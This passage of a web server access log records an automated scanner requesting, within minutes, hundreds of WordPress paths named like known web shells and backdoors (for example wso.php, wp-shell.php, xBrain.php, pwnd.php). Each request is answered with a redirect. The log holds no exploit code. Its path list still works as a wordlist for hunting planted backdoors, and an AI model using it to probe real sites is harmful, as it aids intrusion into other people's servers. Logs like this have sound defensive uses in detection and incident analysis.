/wp-content/plugins/not/includes/about.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:16:07:33 -0400] "GET /wp-content/plugins/one-click-demo-import//about.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:16:07:33 -0400] "GET /wp-content/plugins/pwnd-1/pwnd.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:16:07:34 -0400] "GET /wp-content/plugins/pwnd/block-support.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:16:07:34 -0400] "GET /wp-content/plugins/pwnd/pwnd.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:16:07:35 -0400] "GET /wp-content/plugins/pwnd/pwnd.php/ HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:16:07:36 -0400] "GET /wp-content/plugins/pwnd/z4x.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:16:07:36 -0400] "GET /wp-content/plugins/revslider/includes/external/page/ HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:16:07:37 -0400] "GET /wp-content/plugins/revslider/includes/external/page/index.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:16:07:38 -0400] "GET /wp-content/plugins/seo-by-rank-math//wp-casper.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:16:07:38 -0400] "GET /wp-content/plugins/seoo/wsoyanz.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:16:07:39 -0400] "GET /wp-content/plugins/seoo/wsoyanz1.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:16:07:39 -0400] "GET /wp-content/plugins/seoplugins/ HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:16:07:40 -0400] "GET /wp-content/plugins/seoplugins/db.php?u HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:16:07:41 -0400] "GET /wp-content/plugins/seoplugins/index.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:16:07:42 -0400] "GET /wp-content/plugins/seoplugins/mar.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:16:07:42 -0400] "GET /wp-content/plugins/seox/ HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:16:07:43 -0400] "GET /wp-content/plugins/sid/sidwso.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:16:07:44 -0400] "GET /wp-content/plugins/ubh/up.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:16:07:44 -0400] "GET /wp-content/plugins/wordpresss3cll/includes.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:16:07:45 -0400] "GET /wp-content/plugins/wordpresss3cll/wp-login.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:16:07:46 -0400] "GET /wp-content/plugins/wp-conflg.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:16:07:47 -0400] "GET /wp-content/plugins/wp-conflg.php?p= HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:16:07:47 -0400] "GET /wp-content/plugins/wp-help/ HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:16:07:47 -0400] "GET /wp-content/plugins/wp-help/admin/wp-fclass.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:16:07:48 -0400] "GET /wp-content/plugins/wp-help/index.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:16:07:49 -0400] "GET /wp-content/plugins/wp-help/mini.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:16:07:50 -0400] "GET /wp-content/plugins/wp-login.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:16:07:50 -0400] "GET /wp-content/plugins/wp-sec/ab.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:16:07:51 -0400] "GET /wp-content/plugins/wp-theme-editor/include.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:16:07:52 -0400] "GET /wp-content/plugins/wp.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:16:07:52 -0400] "GET /wp-content/plugins/x/index.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:16:07:53 -0400] "GET /wp-content/plugins/yyobang/mar.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:16:07:54 -0400] "GET /wp-content/radio.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:16:07:55 -0400] "GET /wp-content/shell20211028.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:16:07:56 -0400] "GET /wp-content/themes/ HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:16:07:56 -0400] "GET /wp-content/themes//inpust.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:16:07:57 -0400] "GET /wp-content/themes/Divi/includes/builder/frontend-builder/assets/vendors/plugins/fullscreen/ HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:16:07:58 -0400] "GET /wp-content/themes/aahana/ HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:16:07:59 -0400] "GET /wp-content/themes/aahana/json.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:16:08:00 -0400] "GET /wp-content/themes/about.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:16:08:01 -0400] "GET /wp-content/themes/about.php?p= HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:16:08:02 -0400] "GET /wp-content/themes/admin.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:16:08:02 -0400] "GET /wp-content/themes/alera/alpha.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:16:08:03 -0400] "GET /wp-content/themes/astra/inc/fm.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:16:08:05 -0400] "GET /wp-content/themes/astra/inc/ki1k.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:16:08:06 -0400] "GET /wp-content/themes/astra/inc/network.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:16:08:07 -0400] "GET /wp-content/themes/autoload_classmap.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:16:08:08 -0400] "GET /wp-content/themes/cay-van-phong/filemanager.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:16:08:09 -0400] "GET /wp-content/themes/classic/inc/ HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:16:08:10 -0400] "GET /wp-content/themes/classic/inc/admiin.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:16:08:11 -0400] "GET /wp-content/themes/digital-download/ HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:16:08:11 -0400] "GET /wp-content/themes/file.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:16:08:12 -0400] "GET /wp-content/themes/finley/min.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:16:08:14 -0400] "GET /wp-content/themes/fitnessbase/404.php?ok HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:16:08:17 -0400] "GET /wp-content/themes/hello-element/footer.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:16:08:19 -0400] "GET /wp-content/themes/hideo/network.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:16:08:22 -0400] "GET /wp-content/themes/include.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:16:08:24 -0400] "GET /wp-content/themes/index.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:16:08:27 -0400] "GET /wp-content/themes/index.php?p= HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:16:08:30 -0400] "GET /wp-content/themes/index.php?pass=1313 HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:16:08:32 -0400] "GET /wp-content/themes/intense/block-css.php?mode=upload HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:16:08:32 -0400] "GET /wp-content/themes/newstoday/lang.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:16:08:33 -0400] "GET /wp-content/themes/pridmag/1.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:16:08:34 -0400] "GET /wp-content/themes/pridmag/db.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:16:08:34 -0400] "GET /wp-content/themes/pridmag/db.php?u HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:16:08:35 -0400] "GET /wp-content/themes/seotheme/ HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:16:08:36 -0400] "GET /wp-content/themes/seotheme/db.php?u HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:16:08:37 -0400] "GET /wp-content/themes/seotheme/mar.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:16:08:37 -0400] "GET /wp-content/themes/seotheme/mar.php?d=2f6e61732f636f6e74656e742f6c6976652f72616368656c73626c6f672f77702d636f6e74656e742f7468656d65732f73656f7468656d65&1 HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:16:08:38 -0400] "GET /wp-content/themes/sketch/404.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:16:08:38 -0400] "GET /wp-content/themes/tflow/up.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:16:08:39 -0400] "GET /wp-content/themes/travel/issue.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:16:08:39 -0400] "GET /wp-content/themes/twenty/twenty.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:16:08:40 -0400] "GET /wp-content/themes/twentyfive/include.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:16:08:41 -0400] "GET /wp-content/themes/twentytwenty/ HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:16:08:41 -0400] "GET /wp-content/themes/twentytwenty/404.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:16:08:41 -0400] "GET /wp-content/themes/twentytwentyfour/ HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:16:08:42 -0400] "GET /wp-content/themes/twentytwentythree/patterns/index.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:16:08:43 -0400] "GET /wp-content/themes/twentytwentytwo/index.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:16:08:44 -0400] "GET /wp-content/themes/wp-pridmag/admin.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:16:08:44 -0400] "GET /wp-content/themes/wp-pridmag/classwithtostring.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:16:08:45 -0400] "GET /wp-content/themes/wp-pridmag/init.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:16:08:45 -0400] "GET /wp-content/themes/wp-pridmag/up.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:16:08:46 -0400] "GET /wp-content/themes/xmrlpc.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:16:08:47 -0400] "GET /wp-content/themes/xmrlpc.php?p= HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:16:08:47 -0400] "GET /wp-content/themes/zrt.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:16:08:48 -0400] "GET /wp-content/updraft/about.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:16:08:48 -0400] "GET /wp-content/updraft/themes.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:16:08:49 -0400] "GET /wp-content/upgrade-temp-backup/about.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:16:08:49 -0400] "GET /wp-content/upgrade-temp-backup/wp-login.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:16:08:50 -0400] "GET /wp-content/upgrade/ HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:16:08:50 -0400] "GET /wp-content/upgrade/about.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:16:08:51 -0400] "GET /wp-content/upgrade/admiin.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:16:08:52 -0400] "GET /wp-content/upgrade/admin.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:16:08:53 -0400] "GET /wp-content/upgrade/autoload_classmap.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:16:08:54 -0400] "GET /wp-content/upgrade/index.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:16:08:55 -0400] "GET /wp-content/upgrade/wp-sigunq.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:16:08:55 -0400] "GET /wp-content/uploads/ HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:16:08:55 -0400] "GET /wp-content/uploads//good.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:16:08:56 -0400] "GET /wp-content/uploads//load-scripts-page.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:16:08:57 -0400] "GET /wp-content/uploads//ms-sites-modify.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:16:08:58 -0400] "GET /wp-content/uploads//network-settings.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:16:08:58 -0400] "GET /wp-content/uploads//wp-backup.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:16:08:59 -0400] "GET /wp-content/uploads/2019//dog.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:16:08:59 -0400] "GET /wp-content/uploads/2019//mini.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:16:08:59 -0400] "GET /wp-content/uploads/2020/admin.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:16:09:00 -0400] "GET /wp-content/uploads/2021//snwphriucoj.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:16:09:00 -0400] "GET /wp-content/uploads/2021/03/ HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:16:09:01 -0400] "GET /wp-content/uploads/2022/07/ HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:16:09:01 -0400] "GET /wp-content/uploads/2023/ HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:16:09:02 -0400] "GET /wp-content/uploads/2023/03/ HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:16:09:03 -0400] "GET /wp-content/uploads/2023/05/ HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:16:09:04 -0400] "GET /wp-content/uploads/2023/05/autoload_classmap.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:16:09:04 -0400] "GET /wp-content/uploads/2023/10/ HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:16:09:05 -0400] "GET /wp-content/uploads/2023/11/ HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:16:09:05 -0400] "GET /wp-content/uploads/2024/index.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:16:09:07 -0400] "GET /wp-content/uploads/2025/04/natural.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:16:09:07 -0400] "GET /wp-content/uploads/? HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:16:09:08 -0400] "GET /wp-content/uploads/about.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:16:09:08 -0400] "GET /wp-content/uploads/admin.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:16:09:09 -0400] "GET /wp-content/uploads/autoload_classmap.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:16:09:09 -0400] "GET /wp-content/uploads/chosen.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:16:09:10 -0400] "GET /wp-content/uploads/classwithtostring.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:16:09:11 -0400] "GET /wp-content/uploads/classwithtostring.php?p= HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:16:09:12 -0400] "GET /wp-content/uploads/cong.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:16:09:13 -0400] "GET /wp-content/uploads/de_fb_uploads/b.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:16:09:14 -0400] "GET /wp-content/uploads/file.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:16:09:15 -0400] "GET /wp-content/uploads/gravity_forms/a/a/d/e/mpobdxkytgs.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:16:09:16 -0400] "GET /wp-content/uploads/gravity_forms/a/a/g/g/sbkntyhpcmw.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:16:09:17 -0400] "GET /wp-content/uploads/gravity_forms/a/b/b/g/uglomvzctsn.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:16:09:18 -0400] "GET /wp-content/uploads/gravity_forms/a/c/e/a/ypwzrbljtug.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:16:09:19 -0400] "GET /wp-content/uploads/gravity_forms/a/d/f/f/gcqdnkwesjz.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:16:09:20 -0400] "GET /wp-content/uploads/gravity_forms/a/h/g/f/rykplgfvasj.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:16:09:21 -0400] "GET /wp-content/uploads/gravity_forms/b/c/a/g/czivjydnxqt.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:16:09:21 -0400] "GET /wp-content/uploads/gravity_forms/b/c/d/a/squoxvwkhlt.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:16:09:22 -0400] "GET /wp-content/uploads/gravity_forms/b/h/f/a/jnxegkidpwo.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:16:09:24 -0400] "GET /wp-content/uploads/gravity_forms/c/a/e/a/uxcbytlahwz.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:16:09:24 -0400] "GET /wp-content/uploads/gravity_forms/c/c/a/b/rahlkvfmgdb.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:16:09:25 -0400] "GET /wp-content/uploads/gravity_forms/c/c/c/g/mdncplabzif.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:16:09:27 -0400] "GET /wp-content/uploads/gravity_forms/c/e/d/b/pmxctaowdes.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:16:09:28 -0400] "GET /wp-content/uploads/gravity_forms/c/e/g/c/czymneukgvd.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:16:09:29 -0400] "GET /wp-content/uploads/gravity_forms/c/h/g/f/tqicwdpsmnh.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:16:09:32 -0400] "GET /wp-content/uploads/gravity_forms/d/b/c/a/egyocfrpvwa.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:16:09:33 -0400] "GET /wp-content/uploads/gravity_forms/d/d/c/d/flpovrzwjck.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:16:09:34 -0400] "GET /wp-content/uploads/gravity_forms/d/f/c/d/ojqmdbxhate.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:16:09:35 -0400] "GET /wp-content/uploads/gravity_forms/d/f/h/f/yosajlczrfb.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:16:09:36 -0400] "GET /wp-content/uploads/gravity_forms/e/b/b/g/dqwyzvpuahb.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:16:09:36 -0400] "GET /wp-content/uploads/gravity_forms/e/b/b/g/jkerxdyfnqg.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:16:09:37 -0400] "GET /wp-content/uploads/gravity_forms/e/b/c/e/qotvjlbgrpc.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:16:09:39 -0400] "GET /wp-content/uploads/gravity_forms/e/d/f/a/axfnwtvogks.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:16:09:40 -0400] "GET /wp-content/uploads/gravity_forms/e/g/g/c/oihlgmfuxzd.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:16:09:41 -0400] "GET /wp-content/uploads/gravity_forms/e/g/h/b/ctorzqpwhbu.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:16:09:41 -0400] "GET /wp-content/uploads/gravity_forms/e/h/f/c/yszukdvcqnw.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:16:09:42 -0400] "GET /wp-content/uploads/gravity_forms/f/d/e/g/xtznkgbjpvq.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:16:09:43 -0400] "GET /wp-content/uploads/gravity_forms/f/e/g/b/hpkifdjoalz.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:16:09:43 -0400] "GET /wp-content/uploads/gravity_forms/f/f/d/b/dihbpqwnyts.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:16:09:43 -0400] "GET /wp-content/uploads/gravity_forms/f/g/h/b/zjensalmdpb.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:16:09:44 -0400] "GET /wp-content/uploads/gravity_forms/g/b/b/e/zysdrojvpua.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:16:09:45 -0400] "GET /wp-content/uploads/gravity_forms/g/e/c/h/hwzjnumafpk.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:16:09:45 -0400] "GET /wp-content/uploads/gravity_forms/g/f/f/b/ HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:16:09:47 -0400] "GET /wp-content/uploads/gravity_forms/g/g/a/f/pkhymgfjald.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:16:09:47 -0400] "GET /wp-content/uploads/gravity_forms/g/h/h/d/mxnbqlgirdo.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:16:09:48 -0400] "GET /wp-content/uploads/gravity_forms/h/b/e/d/ioxgswkbzrp.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:16:09:48 -0400] "GET /wp-content/uploads/gravity_forms/h/c/e/d/geusnobmvlh.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:16:09:49 -0400] "GET /wp-content/uploads/gravity_forms/h/c/h/c/hgickosyuxa.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:16:09:50 -0400] "GET /wp-content/uploads/gravity_forms/h/e/c/b/pfmozjwseha.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:16:09:53 -0400] "GET /wp-content/uploads/gravity_forms/h/e/d/a/yjoxrfglsep.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:16:09:55 -0400] "GET /wp-content/uploads/index HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:16:09:56 -0400] "GET /wp-content/uploads/index.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:16:09:57 -0400] "GET /wp-content/uploads/json.php HTTP/1.1" 301 795 "-" "-" 162.0.232.217 - - [16/Apr/2025:16:09:57 -0400] "GET /.well-known/pki-validation/afnew.php HTTP/1.1" 301 795 "-" "get_local:DCV" 40.69.36.253 - - [16/Apr/2025:16:09:57 -0400] "GET /wp-content/uploads/link.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:16:10:00 -0400] "GET /wp-content/uploads/plugins.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:16:10:01 -0400] "GET /wp-content/uploads/tmp/.session.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:16:10:01 -0400] "GET /wp-content/uploads/wp-conflg.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:16:10:01 -0400] "GET /wp-content/uploads/wp-conflg.php?p= HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:16:10:04 -0400] "GET /wp-content/uploads/wp-error_log.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:16:10:08 -0400] "GET /wp-content/uploads/wp-login.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:16:10:11 -0400] "GET /wp-content/uploads/wp-login.php.suspected HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:16:10:14 -0400] "GET /wp-content/uploads/wp-shell.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:16:10:16 -0400] "GET /wp-content/uploads/wpr-addons/forms/ HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:16:10:18 -0400] "GET /wp-content/uploads/wpr-addons/forms/b1ack.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:16:10:19 -0400] "GET /wp-content/uploads/wpr-addons/forms/wp-error_log.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:16:10:20 -0400] "GET /wp-content/uploads/xBrain.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:16:10:20 -0400] "GET /wp-content/wp-error_log.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:16:10:21 -0400] "GET /wp-content/wp-error_log.php?dir=. HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:16:10:21 -0400] "GET /wp-content/wp-login.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:16:10:22 -0400] "GET /wp-content/wp-tested.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:16:10:23 -0400] "GET /wp-content/wp.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:16:10:24 -0400] "GET /wp-content/wso.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:16:10:25 -0400] "GET /wp-content/x.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:16:10:26 -0400] "GET /wp-content/x/index.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:16:10:28 -0400] "GET /wp-content/x/wp-includes/Text/Diff/Engine/shell.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:16:10:29 -0400] "GET /wp-content/x/wp-post.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:16:10:30 -0400] "GET /wp-content/x2.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:16:10:32 -0400] "GET /wp-content/xBrain.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:16:10:34 -0400] "GET /wp-core.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:16:10:35 -0400] "GET /wp-crom.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - 